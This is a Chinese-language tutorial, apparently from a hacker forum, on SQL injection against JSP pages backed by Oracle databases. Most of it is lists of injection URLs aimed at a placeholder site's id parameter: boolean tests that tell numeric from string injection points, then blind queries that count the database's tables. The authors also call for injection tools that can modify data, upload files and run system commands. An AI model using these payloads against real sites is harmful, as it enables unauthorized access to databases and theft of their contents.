JSP+ORACLE注入方法整理v1.0

大家好 ,我们是pt007和solaris7，QQ：7491805/564935，欢迎高手前来交流：）。

首先感谢华仔和他的朋友Hotkey为大家开发的cnsafersi 注入工具，没有这个工具就没有本文，HEHE，本文是对cnsafersi 注入工具抓包后所获得的数据进行了分析和整理，文章写的比较仓促，有不足之处欢迎同行指正。另外希望有高手开发出功能更加强大的JSP注入程序，cnsafersi目前仅有select的功能，建议新的JSP注入工具中能加入insert/delete/update/backup/上传/执行系统命令等功能，可以参考NBSI的功能进行开发。参考文章：《如何开发CnSaferSI》。

首先介绍本文中所使用的工具之JSP注入利器：华仔和他的朋友Hotkey开发的cnsafersi，关于使用方法近期我会写一个详细的使用教程：

下面以上图中的AD表为例来说明JSP+ORACLE注入的过程：

1、 判断注入类型（数字型还是字符型）

字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分）

http://www.test.net/index_kaoyan_view.jsp?id=117 And user>char(0) http://www.test.net/index_kaoyan_view.jsp?id=117 And user<char(0) http://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1 http://www.test.net/index_kaoyan_view.jsp?id=117' And user<char(0) And '1'='1 http://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '%25'=' http://www.test.net/index_kaoyan_view.jsp?id=117' And user<char(0) And '%25'=' http://www.test.net/index_kaoyan_view.jsp?id=117) And user>char(0) And 1 in(1 http://www.test.net/index_kaoyan_view.jsp?id=117) And user<char(0) And 1 in(1 http://www.test.net/index_kaoyan_view.jsp?id=117') And user>char(0) And (' ')=(' http://www.test.net/index_kaoyan_view.jsp?id=117') And user<char(0) And (' ')=(' http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97) http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)<str(97) http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)>str(97) And '1'='1 http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)<str(97) And '1'='1 http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)>str(97) And '%25'=' http://www.test.net/index_kaoyan_view.jsp?id=117' And user<char(0) And '%25'= http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)<str(97) And '%25'=' http://www.test.net/index_kaoyan_view.jsp?id=117) And str(98)>str(97) And 1 in(1 http://www.test.net/index_kaoyan_view.jsp?id=117) And str(98)<str(97) And 1 in(1 http://www.test.net/index_kaoyan_view.jsp?id=117') And str(98)>str(97) And (' ')=(' http://www.test.net/index_kaoyan_view.jsp?id=117') And str(98)<str(97) And (' ')=('

出现正常的页面：

http://www.test.net/index_kaoyan_view.jsp?id=117 And USER>CHR(0) http://www.test.net/index_kaoyan_view.jsp?id=117 And USER<CHR(0)

2、 猜解表数量和表名

数据库数量为3：

http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And UNISTR(1)>UNISTR(0)
